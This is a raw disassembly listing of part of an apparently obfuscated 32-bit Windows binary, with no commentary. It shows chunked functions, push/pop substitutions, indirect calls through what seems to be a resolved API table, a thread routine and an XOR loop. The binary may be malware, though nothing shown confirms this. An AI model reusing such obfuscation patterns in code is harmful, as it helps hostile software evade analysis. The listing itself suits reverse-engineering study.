loc_9B10BF:				; CODE XREF: .text:009AFBF9j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B10DC:				; CODE XREF: sub_9B35A0-344Bj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		push	eax
		call	dword ptr [ecx+24h]


loc_9B10EA:				; CODE XREF: sub_9B35A0-3451j
					; sub_9B35A0-2B8Aj
		push	edi
		call	sub_9ABE84
		lea	edi, dword_9BBF74[esi]
		mov	ecx, 0Ch
		xor	eax, eax
		rep stosd
		jmp	loc_9AC99B
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B1104:				; CODE XREF: sub_9B57B4-8FB9j
					; DATA XREF: .text:off_9B91C8o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_144]
		push	eax
		push	100h
		push	[ebp+var_24]
		pop	ecx
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		push	0
		jmp	loc_9B45E4
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1134	proc near		; DATA XREF: .text:off_9B9F9Do

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AC9D7 SIZE 0000002B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAD8E
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		push	eax
		call	sub_9B0C20
		jmp	loc_9AC9D7
sub_9B1134	endp

; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	edx
		push	off_9BACEC
		call	dword ptr [ecx+34h]
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	off_9B9844
		pop	ecx
		call	sub_9B5480
		mov	ecx, 1
		call	sub_9B4610
		xor	esi, esi


loc_9B11A1:				; CODE XREF: .text:009B11ABj
		push	esi
		call	sub_9ABE84
		inc	esi
		cmp	esi, 40h
		jl	short loc_9B11A1
		jmp	off_9B9860
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B11B4:				; CODE XREF: sub_9B1A08-133Aj
					; DATA XREF: .text:off_9BA4C5o
		push	[ebp+var_41E0]
		pop	eax
		and	eax, eax
		jnz	loc_9B16BE
		jmp	off_9B8F8D
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B11CC:				; CODE XREF: sub_9ABD30+20j
		mov	ecx, eax


loc_9B11CE:				; CODE XREF: sub_9ABD30+4A79j
		mov	edx, [esp+0Ch+arg_8]
		pop	edi
		pop	esi
		mov	dword ptr [edx], 0
		push	ecx
		pop	eax
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B11EB:				; CODE XREF: sub_9AB1A0+A738j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	off_9B9632


loc_9B11F8:				; CODE XREF: sub_9AB1A0+4CDCj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1218:				; CODE XREF: sub_9B63D8-6061j
		push	dword ptr [esi+0Ch]
		pop	eax
		cmp	eax, ebx
		jz	loc_9AF944
		jmp	off_9BB025
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B122C:				; CODE XREF: sub_9AD3EC+4Aj
		push	dword ptr [ebp-28h]
		pop	eax
		mov	ecx, eax
		and	ecx, 0FFFFh
		push	ecx
		push	dword ptr [ebp-24h]
		pop	edx
		push	edx
		shr	eax, 10h
		push	eax
		push	dword ptr [ebp-2Ch]
		pop	eax
		push	eax
		pop	ecx
		and	ecx, 0FFFFh
		push	ecx
		shr	eax, 10h
		push	eax
		push	dword ptr [ebp-30h]
		pop	edx
		push	edx
		push	off_9BA861	; Format
		push	103h		; Count
		mov	eax, [ebp+0Ch]
		push	eax		; Dest
		call	_snprintf
		add	esp, 24h
		jmp	loc_9B4093
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1278:				; CODE XREF: sub_9B63D8-99B9j
					; sub_9B63D8-DF6j
					; DATA XREF: ...
		mov	al, [ebp-2117h]
		cmp	al, 30h
		jl	loc_9AF944
		jmp	loc_9AB0C8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B128C:				; CODE XREF: sub_9AFF64+79j
		push	eax
		push	7
		push	ecx
		jnz	loc_9ADB20
		jmp	loc_9B0444
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B129C:				; CODE XREF: sub_9B5904-1A0Ej
					; DATA XREF: .text:off_9BA6DBo
		or	esi, esi
		sub	eax, eax
		mov	[ebp-20h], esi


loc_9B12A3:				; CODE XREF: sub_9B5904-624Bj
		mov	[ebp-1Ch], eax
		cmp	eax, 20h
		jge	loc_9AFF1D
		jmp	off_9B8DE7
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ABE84


loc_9B12BB:				; CODE XREF: sub_9ABE84+5Fj
					; sub_9ABE84+8AB8j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ABE84
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B12E0:				; CODE XREF: sub_9B31A8+116Bj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	dword ptr [eax+8]
		pop	eax
		push	eax
		call	dword ptr [edx+2Ch]


loc_9B12F1:				; CODE XREF: sub_9B31A8-50DEj
		push	dword ptr [esi]
		pop	ecx
		push	ecx
		mov	edx, 0EA60h
		call	sub_9AD590
		test	eax, eax
		jz	loc_9AE0B8
		jmp	off_9B8DEB
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B131E:				; CODE XREF: sub_9ABF08+331Aj
		push	esi
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B1334	proc near		; CODE XREF: sub_9B1D80-6CE3p
					; sub_9ADAC4-26A6p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009B60D4 SIZE 00000037 BYTES

		test	eax, eax
		jz	loc_9B60DA
		jmp	off_9B979F
sub_9B1334	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B1344:				; CODE XREF: sub_9B174C+5Ej
					; DATA XREF: .text:off_9BA43Fo
		push	dword ptr [eax]
		pop	eax
		cmp	edi, eax
		jnb	loc_9B166F
		jmp	off_9BA869
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9B1358:				; CODE XREF: sub_9AF960-312j
		sub	edx, eax
		push	ebx
		pop	edi
		dec	edi


loc_9B135D:				; CODE XREF: sub_9AF960+1A03j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9B135D
		jmp	off_9B8FC4
; END OF FUNCTION CHUNK	FOR sub_9AF960
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B136C:				; CODE XREF: sub_9AF030+516Dj
					; DATA XREF: .text:off_9B89BEo
		cmp	[ebp+var_24], ebx
		jnz	loc_9AC62B
		jmp	off_9B9FDB
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B137C:				; CODE XREF: sub_9AC250+9720j
					; DATA XREF: .text:off_9BAAD4o
		push	dword ptr [esi]
		pop	edx
		cmp	edx, edi
		jz	loc_9B536C
		jmp	off_9B9264
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B1390:				; CODE XREF: sub_9ADDA4+FACj
		mov	[ebp-2Ch], esi
		push	1
		pop	ecx


loc_9B1396:				; CODE XREF: sub_9ADDA4+B06j
		mov	[ebp-1Ch], ecx
		cmp	ecx, edi
		jge	loc_9B5468
		jmp	off_9B9040
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B13A8:				; CODE XREF: sub_9B63D8-234Fj
					; sub_9B63D8-1950j
		mov	[ebp-212Ch], ebx
		cmp	dword ptr [eax+ebx*4], 0
		jz	loc_9B593C
		jmp	off_9BAA01
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B13C0:				; CODE XREF: sub_9B3B1C+50j
					; sub_9B3B1C+F2Bj
					; DATA XREF: ...
		push	6
		mov	edx, off_9B985C
		push	2004h
		pop	ecx
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9B1D3F
		jmp	off_9B99AF
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B13E4:				; CODE XREF: sub_9B3864-1191j
					; DATA XREF: .text:off_9B9336o
		xor	edx, edx
		cmp	edx, [ebp+var_2068]
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_206C],	eax
		lea	edx, [ebp+var_201C]
		mov	[ebp+var_205C],	edx
		jmp	loc_9AE2C6
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1408:				; CODE XREF: sub_9B0930-2D4j
					; DATA XREF: .text:off_9BA8C4o
		push	off_9BA68C
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+34h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+34h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F62
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B143C:				; CODE XREF: sub_9AB1A0+2B22j
					; DATA XREF: .text:off_9B97B9o
		push	eax
		pop	ecx
		and	ecx, esi
		cmp	edi, ecx
		jz	loc_9B290C
		jmp	loc_9B0720
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B1450:				; CODE XREF: sub_9B3D1C-2518j
					; DATA XREF: .text:off_9BA4DDo
		push	dword ptr [ebx]
		pop	ecx
		mov	edi, [eax+48h]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb


loc_9B1464:				; CODE XREF: sub_9B3D1C-251Ej
					; sub_9B3D1C+41j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1480:				; CODE XREF: sub_9B1F68-6CAEj
					; sub_9B1F68-416Dj
		inc	edx
		jmp	loc_9B5EE2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		dd 0CB74A151h, 88B009Bh, 3051FF56h, 0CB7435FFh,	8B5A009Bh
		dd 5832FFF0h, 2B3050FFh, 3E83DC6h, 830F0000h, 2658h, 0FFD19FE9h
		dd 498DFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9B14B8:				; CODE XREF: sub_9AF5E4+13FEj
					; DATA XREF: .text:off_9BA7F6o
		mov	edi, ebx
		sub	edx, eax
		dec	edi


loc_9B14BD:				; CODE XREF: sub_9AF5E4+1EDFj
		mov	cl, [edi+1]
		inc	edi
		and	cl, cl
		jnz	short loc_9B14BD
		jmp	loc_9AD8F4
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B14CC	proc near		; CODE XREF: sub_9B2118:loc_9AFA38p

; FUNCTION CHUNK AT 009B3CB0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B4783 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAC5B
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		push	off_9B91EC
		pop	ecx
		mov	[ebp-4], eax
		call	sub_9ABA3C
		and	eax, eax
		jz	loc_9B4783
		jmp	off_9B8E79
sub_9B14CC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B1518:				; CODE XREF: sub_9AF030+1BCEj
		push	dword_9BBFA0[esi]
		pop	ecx
		cmp	ecx, 340h
		jb	loc_9AC62B
		jmp	loc_9B4AE4
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B1530:				; CODE XREF: sub_9B4480+A9j
		mov	[ebp+var_32C], ebx
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp+var_32C]
		push	edx
		push	edi
		push	esi
		push	esi
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+var_330]
		pop	edx
		push	edx
		call	dword ptr [ecx+10h]
		or	eax, eax
		jnz	loc_9AE273
		jmp	loc_9B3DD8
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B1568:				; CODE XREF: sub_9AC6DC+5DFCj
					; sub_9AC6DC:loc_9B3A68j
		push	dword_9BBD20
		pop	eax
		add	eax, 5
		cmp	eax, 64h
		jle	loc_9B004C
		jmp	loc_9AC350
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1584	proc near		; CODE XREF: StartAddress+DCp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AD087 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AE3C4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009AEE10 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AF938 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B99E0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_4], ebx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+14h]
		pop	ecx
		push	off_9B98C1
		call	dword ptr [ecx+0Ch]
		add	esp, 4
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		mov	dword_9BCB94, eax
		mov	dword_9BCB98, ebx
		mov	ecx, 140h
		sub	eax, eax
		mov	edi, off_9BA180
		rep stosd
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	ecx, 1
		call	sub_9B4610
		sub	esi, esi


loc_9B1609:				; CODE XREF: sub_9B1584-1C45j
		mov	[ebp+var_20], esi
		cmp	esi, 40h
		jge	loc_9AEE10
		jmp	off_9B9DF7
sub_9B1584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B161C	proc near		; CODE XREF: sub_9B161C+EAj
					; sub_9B5300+13j
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB904 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC93C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B16EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B1700 SIZE 00000012 BYTES

		push	ebp
		push	edi
		push	10h
		pop	eax
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9ABA03
		jmp	loc_9B16EC
sub_9B161C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B1634:				; CODE XREF: sub_9AD97C-17E5j
					; DATA XREF: .text:off_9BAADCo
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		push	eax
		call	dword ptr [edx+14h]
		jmp	loc_9B454B
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B1648	proc near		; CODE XREF: sub_9B2160+388Aj
					; DATA XREF: .text:off_9BA170o
		push	ebx
		pop	ecx
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
sub_9B1648	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B165A:				; CODE XREF: sub_9B2160+3884j
		push	dword ptr [esi+44h]
		pop	eax
		or	eax, eax
		jz	loc_9B2434
		jmp	loc_9B03B4
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B166F:				; CODE XREF: sub_9B174C-60D0j
					; sub_9B174C-403j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B169C:				; CODE XREF: sub_9B1A08+1D79j
					; DATA XREF: .text:off_9B9280o
		lea	edx, [ebp+var_402C]
		push	edx
		push	eax
		lea	eax, [ebp+var_201C]
		push	eax
		mov	esi, [ebp+var_41E4]
		sub	eax, eax
		call	sub_9B3F28
		mov	[ebp+var_4200],	eax


loc_9B16BE:				; CODE XREF: sub_9B1A08-205Ej
					; sub_9B1A08-1340j ...
		push	2000h
		lea	ecx, [ebp+var_401C]
		push	ecx
		sub	eax, eax
		lea	ecx, [ebp+var_403C]
		lea	ebx, [ebp+var_4208]
		mov	edi, [ebp+var_41E4]
		call	sub_9B0734
		jmp	off_9B9240
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9B16EC:				; CODE XREF: sub_9B161C+12j
		push	[esp+14h+var_4]
		pop	eax
		cmp	esi, eax
		jg	loc_9AC93E
		jmp	off_9B962E
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9B1700:				; CODE XREF: sub_9B161C-4CC5j
					; DATA XREF: .text:off_9BA98Ao
		sub	esi, eax
		add	ebx, eax
		test	esi, esi
		jg	sub_9B161C
		jmp	off_9BAB5A
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1714:				; CODE XREF: sub_9B0930-5706j
		push	off_9B9530
		push	dword ptr [eax+0Ch]
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+0Ch]
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	eax
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB5D8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B174C	proc near		; CODE XREF: sub_9B1D80-55F3p
					; sub_9B3864-11A5p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 009AB650 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B1344 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B166F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009B24A4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B3F98 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B54E8 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 009B5DA0 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA3F4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, ecx
		mov	[ebp+var_18], esp
		push	[ebp+arg_0]
		pop	edi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], 0
		mov	dword ptr [esi], 0
		push	dword_9BBE3C
		pop	eax
		or	eax, eax
		jz	loc_9B166F
		jmp	off_9BA43F
sub_9B174C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B17B0:				; CODE XREF: sub_9B1A08-2957j
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		push	eax
		call	dword ptr [ecx+38h]
		mov	[ebp+var_41E4],	0FFFFFFFFh


loc_9B17C7:				; CODE XREF: sub_9B1A08-295Dj
					; sub_9B1A08+9ACj ...
		xor	edi, edi
		mov	[ebp+var_41E8],	edi
		mov	ebx, [ebp+var_41E0]


loc_9B17D5:				; CODE XREF: sub_9B1A08-2066j
		cmp	edi, ebx
		jnb	loc_9AE008
		jmp	off_9B93A7
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B17E4:				; CODE XREF: sub_9B3D1C+F8Ej
					; DATA XREF: .text:off_9BA0B9o
		push	dword ptr [ebx]
		pop	ecx
		mov	edi, [eax+44h]
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_9B17F8:				; CODE XREF: sub_9B3D1C+F88j
		push	dword ptr [ebx+48h]
		pop	esi
		test	esi, esi
		jz	loc_9B1464
		jmp	off_9BA4DD
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B180C:				; CODE XREF: sub_9B6370-5j
		or	edi, edx
		mov	edx, edi
		movzx	edi, byte ptr [esi]
		xor	eax, edi
		mov	[esi], al
		xor	eax, edi
		add	ecx, eax
		adc	edx, 0
		inc	esi
		dec	ebx
		jnz	loc_9B6357
		jmp	off_9BACB6
; END OF FUNCTION CHUNK	FOR sub_9B6370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B182C:				; CODE XREF: sub_9AC6DC+35AEj
					; DATA XREF: .text:off_9B97FAo
		mov	ecx, 64h


loc_9B1831:				; CODE XREF: sub_9AC6DC+35A8j
		mov	dword_9BBD20, ecx
		jmp	loc_9B0058
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B183C:				; CODE XREF: sub_9B649C-31F5j
					; DATA XREF: .text:off_9BAA09o
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9B1842:				; CODE XREF: sub_9B649C-31FBj
		test	bl, 20h
		jz	loc_9AEA06
		jmp	loc_9AEA00
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1850:				; CODE XREF: sub_9B63D8-7046j
		push	400h
		pop	eax


loc_9B1856:				; CODE XREF: sub_9B63D8-704Cj
		push	eax
		lea	edx, [ebx+ebp-2120h]
		push	edx
		lea	edi, [ebp-2148h]
		push	dword ptr [ebp-2138h]
		pop	esi
		mov	eax, 0Ah
		call	sub_9B0D34
		mov	[ebp-2174h], eax
		cmp	eax, 4
		jnz	loc_9AF94B
		jmp	loc_9AD634
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B188C:				; CODE XREF: sub_9B0930-2575j
					; DATA XREF: .text:off_9BAF67o
		push	off_9B92F0
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+10h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B505C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B18BC:				; CODE XREF: sub_9AD3EC+20D1j
					; DATA XREF: .text:off_9B8C68o
		shr	ebx, 1Fh
		shl	ebx, cl
		or	edi, ebx
		mov	[esi], edi
		inc	edx
		jmp	loc_9AD42D
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B18CC:				; CODE XREF: sub_9AFB1C-2D53j
		push	dword ptr [edi+eax]
		pop	edx
		add	eax, 4
		mov	[esi+14h], edx
		mov	[ebp-1Ch], eax


loc_9B18D9:				; CODE XREF: sub_9AFB1C-2D59j
		test	bl, 40h
		jz	loc_9B02CB
		jmp	loc_9B3B9C
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B18E8:				; CODE XREF: sub_9B04A8-2F73j
		test	bl, 4
		jz	loc_9AFD43
		jmp	loc_9B01B8
